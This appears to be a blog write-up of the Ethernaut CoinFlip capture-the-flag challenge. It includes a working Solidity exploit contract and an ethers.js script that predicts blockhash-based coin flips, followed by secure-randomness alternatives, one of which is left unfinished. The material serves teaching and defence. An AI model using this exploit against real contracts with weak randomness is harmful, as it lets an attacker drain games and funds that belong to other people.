Skip to content
On this page

Exploiting Pseudo-Randomness in Smart Contracts: A Deep Dive into the CoinFlip CTF Challenge

Introduction

Smart contract security remains one of the most critical aspects of blockchain development, with vulnerabilities often arising from subtle misunderstandings of blockchain properties. The CoinFlip challenge from OpenZeppelin's Ethernaut platform serves as an excellent case study in how seemingly random processes in smart contracts can be manipulated due to the deterministic nature of blockchain environments. This technical article will dissect the CoinFlip vulnerability, explore the underlying blockchain mechanics that enable the exploit, and provide comprehensive solutions and prevention strategies.

Understanding the CoinFlip Challenge

Challenge Overview

The CoinFlip challenge presents a seemingly simple game: players must correctly guess the outcome of a coin flip ten consecutive times to win. At first glance, this appears to be a game of pure chance with a probability of success of (1/2)^10 (approximately 0.0977%). However, as we'll discover, the implementation contains a critical flaw that reduces this to a deterministic process that can be reliably predicted.

The contract's source code reveals the core vulnerability:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

The Illusion of Randomness

The fundamental issue with the CoinFlip contract lies in its attempt to generate randomness using blockchain data. The contract uses blockhash(block.number - 1) as a source of randomness, which is problematic for several reasons that we'll explore in detail.

Blockchain Properties and Their Security Implications

Deterministic Nature of Blockchains

Blockchains are fundamentally deterministic systems. Every node in the network must be able to independently verify transactions and reach the same state. This determinism is essential for consensus but creates challenges for generating true randomness.

Block Properties as Pseudo-Random Sources

The CoinFlip contract utilizes several blockchain properties:

  1. Block Hash: The hash of the previous block
  2. Block Number: The current block number
  3. Block Timestamp: The time when the block was mined

These properties are problematic for randomness generation because:

  • They are publicly visible to all network participants
  • They can be predicted to some degree by miners
  • They change in predictable patterns

Technical Analysis of the Vulnerability

The Randomness Generation Mechanism

Let's break down the flawed randomness generation in the flip() function:

solidity
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

The FACTOR constant is particularly interesting:

57896044618658097711785492504343953926634992332820282019728792003956564819968

This number is 2²⁵⁵, which represents the midpoint of the 256-bit number space. The division blockValue / FACTOR essentially checks whether the block hash is in the upper half (result = 1) or lower half (result = 0) of the possible 256-bit values.

The Prediction Vulnerability

The critical insight is that anyone can compute the same value that the contract will compute. Since blockchain data is public, an attacker can:

  1. Query the current block number
  2. Wait for the next block to be mined
  3. Retrieve the block hash of the previous block
  4. Perform the same calculation as the contract
  5. Submit the correct guess

The "Last Hash" Protection and Its Inadequacy

The contract includes a basic protection mechanism:

solidity
if (lastHash == blockValue) {
    revert();
}

This prevents multiple guesses within the same block, but it doesn't address the fundamental issue: the "random" value can still be computed by anyone observing the blockchain.

Building the Exploit Contract

Understanding the Attack Strategy

To successfully exploit the CoinFlip vulnerability, we need to create a contract that:

  1. Can access the same blockchain data as the target contract
  2. Performs the exact same calculation
  3. Submits the correct guess within the same transaction

The Hack Contract Implementation

Here's the complete exploit contract with detailed explanations:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./CoinFlip.sol";

contract Hack {
    // Immutable reference to the target contract
    CoinFlip private immutable target;
    
    // Same FACTOR constant as in the target contract
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    // Constructor takes the address of the target CoinFlip contract
    constructor(address _target) {
        target = CoinFlip(_target);
    }

    // Public function to execute the exploit
    function flip() external {
        // Calculate the correct guess
        bool guess = _guess();
        
        // Call the target contract's flip function with our calculated guess
        // The require statement ensures we only proceed if the guess is correct
        require(target.flip(guess), "Failed to guess");
    }

    // Private helper function that replicates the target's calculation
    function _guess() private view returns (bool) {
        // Get the hash of the previous block (same as target contract)
        uint256 blockValue = uint256(blockhash(block.number - 1));
        
        // Perform the same division operation
        uint256 coinFlip = blockValue / FACTOR;
        
        // Determine the side (true for 1, false for 0)
        bool side = coinFlip == 1 ? true : false;
        
        return side;
    }
}

Key Components of the Exploit

  1. Same Blockchain Context: The exploit contract runs in the same transaction and block as the call to the target contract, ensuring it sees the same block.number and blockhash.

  2. Identical Calculation: By using the same FACTOR and calculation logic, we guarantee our result matches what the target contract will compute.

  3. Atomic Execution: The entire process happens in a single transaction, preventing any state changes between calculation and submission.

Step-by-Step Execution Flow

1. Deployment Phase

solidity
// Deploy the Hack contract with the CoinFlip address
Hack hack = new Hack(coinFlipAddress);

2. Exploit Execution

javascript
// JavaScript execution example
const tx = await hackContract.flip();
await tx.wait();

3. Internal Process

When flip() is called:

  1. The transaction is submitted to the mempool
  2. A miner includes it in a block
  3. During execution:
    • _guess() calculates the outcome based on block.number - 1
    • The result is passed to target.flip()
    • The target contract performs the same calculation
    • Since both calculations use the same inputs, they produce the same result
    • The guess is correct, and consecutiveWins increments

4. Verification

javascript
// Check the current win streak
const wins = await coinFlipContract.consecutiveWins();
console.log(`Current consecutive wins: ${wins}`);

Automation Script for Multiple Guesses

To achieve 10 consecutive wins, we need to automate the process. Here's an enhanced version of the provided JavaScript code:

javascript
const { ethers } = require("ethers");

async function executeCoinFlipExploit() {
    // Configuration
    const RPC_URL = "https://eth-sepolia.g.alchemy.com/v2/YOUR_API_KEY";
    const PRIVATE_KEY = "0xYOUR_PRIVATE_KEY";
    const COIN_FLIP_ADDRESS = "0xTARGET_CONTRACT_ADDRESS";
    const HACK_CONTRACT_ADDRESS = "0xYOUR_HACK_CONTRACT_ADDRESS";
    
    // ABI definitions
    const HACK_ABI = [
        "function flip() external",
    ];
    
    const COIN_FLIP_ABI = [
        "function consecutiveWins() external view returns (uint256)",
        "function flip(bool) external returns (bool)"
    ];
    
    // Setup provider and wallet
    const provider = new ethers.JsonRpcProvider(RPC_URL);
    const wallet = new ethers.Wallet(PRIVATE_KEY, provider);
    
    // Create contract instances
    const hackContract = new ethers.Contract(HACK_CONTRACT_ADDRESS, HACK_ABI, wallet);
    const coinFlipContract = new ethers.Contract(COIN_FLIP_ADDRESS, COIN_FLIP_ABI, wallet);
    
    console.log("Starting CoinFlip exploit...");
    console.log(`Initial wins: ${await coinFlipContract.consecutiveWins()}`);
    
    // Execute 10 consecutive flips
    for (let i = 0; i < 10; i++) {
        console.log(`Attempt ${i + 1}/10...`);
        
        try {
            // Execute the flip
            const tx = await hackContract.flip();
            console.log(`Transaction sent: ${tx.hash}`);
            
            // Wait for confirmation
            const receipt = await tx.wait();
            console.log(`Confirmed in block: ${receipt.blockNumber}`);
            
            // Check current wins
            const currentWins = await coinFlipContract.consecutiveWins();
            console.log(`Current consecutive wins: ${currentWins}`);
            
            // Small delay to ensure we're in a new block
            await new Promise(resolve => setTimeout(resolve, 15000));
            
        } catch (error) {
            console.error(`Error on attempt ${i + 1}:`, error.message);
            
            // Reset counter on failure
            const currentWins = await coinFlipContract.consecutiveWins();
            console.log(`Resetting from ${currentWins} wins`);
            
            // Restart from the beginning
            i = -1; // Will be incremented to 0 in next iteration
            await new Promise(resolve => setTimeout(resolve, 30000));
        }
    }
    
    console.log("Exploit completed successfully!");
    console.log(`Final consecutive wins: ${await coinFlipContract.consecutiveWins()}`);
}

// Execute the exploit
executeCoinFlipExploit()
    .then(() => process.exit(0))
    .catch((error) => {
        console.error("Fatal error:", error);
        process.exit(1);
    });

Advanced Considerations and Edge Cases

Block Mining Timing

The exploit relies on the fact that our transaction and the calculation happen in the same block. However, there are timing considerations:

  1. Block Propagation Delay: If the transaction is submitted too close to block finalization, it might not be included.
  2. Gas Price Competition: Other transactions with higher gas prices might delay our transaction.
  3. Network Congestion: During high traffic periods, transaction inclusion becomes less predictable.

Miner Manipulation Potential

Miners have additional advantages in this scenario:

  1. Transaction Ordering: Miners can reorder transactions within a block.
  2. Selective Inclusion: Miners can choose which transactions to include.
  3. Front-Running: Miners could potentially front-run the exploit transaction.

Secure Alternatives for Randomness Generation

1. Commit-Reveal Schemes

solidity
contract SecureRandom {
    struct Commit {
        bytes32 hash;
        uint256 value;
        bool revealed;
    }
    
    mapping(address => Commit) public commits;
    
    function commit(bytes32 _hash) external {
        commits[msg.sender] = Commit(_hash, 0, false);
    }
    
    function reveal(uint256 _value, bytes32 _salt) external {
        Commit storage userCommit = commits[msg.sender];
        require(!userCommit.revealed, "Already revealed");
        require(keccak256(abi.encodePacked(_value, _salt)) == userCommit.hash, "Invalid reveal");
        
        userCommit.value = _value;
        userCommit.revealed = true;
    }
    
    function generateRandom(uint256 _min, uint256 _max) external view returns (uint256) {
        // Combine multiple committed values
        return // ... calculation using multiple revealed values
    }
}

2. Oracle-Based Randomness

solidity
contract OracleRandom {
    address private oracle;
    
    function requestRandomness() external payable {
        // Request randomness from oracle
        IOracle(oracle).requestRandomness{value: msg.value}();
    }
    
    function fulfillRandomness(bytes32 requestId, uint256 randomness) external {
        // Only oracle can call this
        require(msg.sender == oracle, "Unauthorized");
        
        // Use the provided randomness
        // ... game logic
    }
}
solidity
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";

contract ChainlinkRandom is VRFConsumerBase {
    bytes32 internal keyHash;
    uint256 internal fee;
    uint256 public randomResult;
    
    constructor() 
        VRFConsumerBase(
            0xdD3782915140c8f3b190B5D67eAc6dc5760C46E9, // VRF Coordinator
            0xa36085F69e2889c224210F603D836748e7dC0088  // LINK Token
        )
    {
        keyHash = 0x6c3699283bda56ad74f6b855546325b68d482e983852a7a82979cc4807b641f4;
        fee = 0.1 * 10 ** 18; // 0.1 LINK
    }
    
    function getRandomNumber() public returns (bytes32 requestId) {
        require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK");
        return requestRandomness(keyHash, fee);
    }
    
    function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
        randomResult = randomness;
    }
}

Best Practices for Smart Contract Randomness

1. Never Use Block Properties Alone

Block properties should only be used as one component of a more complex randomness generation scheme.

2. Use Multiple Sources

Combine multiple sources of entropy:

  • Block properties
  • User inputs
  • External oracle data
  • Previous random values

3. Implement Delay Mechanisms

Add time delays between randomness generation and usage to prevent front-running.

4. Consider Economic Security

Design systems where manipulating randomness is economically disadvantageous.

5. Regular Security Audits

Conduct regular audits focusing on randomness generation mechanisms.

Educational Value of the CoinFlip Challenge

The CoinFlip challenge teaches several important lessons:

  1. Transparency vs. Privacy: Blockchain transparency is a double-edged sword for game mechanics.
  2. Deterministic Execution: All contract execution is deterministic and reproducible.
  3. On-Chain vs. Off-Chain: Some computations are better performed off-chain.
  4. Security Mindset: Always consider how an attacker might manipulate the system.

Conclusion

The CoinFlip vulnerability exemplifies a common pitfall in smart contract development: the misuse of blockchain properties as sources of randomness. By understanding this vulnerability, developers gain crucial insights into:

  1. The deterministic nature of blockchain execution
  2. The importance of proper randomness generation
  3. The need for defense-in-depth security strategies
  4. The value of considering all potential attack vectors

As blockchain technology evolves, so too must our approaches to security. The lessons from CoinFlip extend beyond this specific vulnerability to encompass broader principles of secure smart contract design. By studying and understanding these vulnerabilities, developers can build more robust, secure, and trustworthy decentralized applications.

Remember: in the world of smart contracts, true randomness is one of the most challenging problems to solve, and it often requires creative, multi-layered solutions that account for the unique properties and limitations of blockchain technology.

Built with AiAda